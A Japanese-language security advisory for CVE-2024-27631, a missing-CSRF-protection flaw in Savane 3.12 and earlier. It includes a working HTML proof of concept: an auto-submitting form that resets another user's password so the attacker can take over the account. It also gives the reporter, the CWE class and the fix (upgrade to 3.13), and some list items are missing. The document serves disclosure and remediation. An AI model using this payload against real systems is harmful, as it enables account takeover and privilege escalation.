
CVE-2024–27631 リファレンス
Savane v3.12 以前には、管理機能に対する CSRF 保護の欠如により、権限昇格やアカウント乗っ取りが発生する可能性があります。特に、エンドポイント /siteadmin/usergroup.php には、他のユーザーのパスワードや管理者フラグを変更する機能が含まれており、攻撃者が自分自身を管理者にすることが事実上可能になります。
CSRF に対して脆弱な他の注目すべきエンドポイントは次のとおりです:
CWE 分類: CWE-352: Cross-Site Request Forgery (CSRF)
報告者: Ally Petitt
影響を受ける製品: Savane
影響を受けるバージョン: 3.12 以前
これは、アカウント乗っ取りへの経路として、別のユーザーのアカウントのパスワードを変更するための Proof-of-Concept (PoC) です。
/users/<username>) からその userID を確認します。<savane_instance> を適切なドメイン名/ホストアドレスに置き換えます。<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">
<input name="form_pw" type="hidden" value="Password1!" />
<input name="form_pw2" type="hidden" value="Password1!" />
<input name="user_id" type="hidden" value="<user_id>" />
<input name="update" type="hidden" value="Update" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
Password1! で被害者のアカウントにログインします。なお、この PoC スクリプトは Firefox v103.0 (64-bit) でテスト済みです。
Savane バージョン 3.13 以降にアップグレードしてください。パッチは こちら にあります。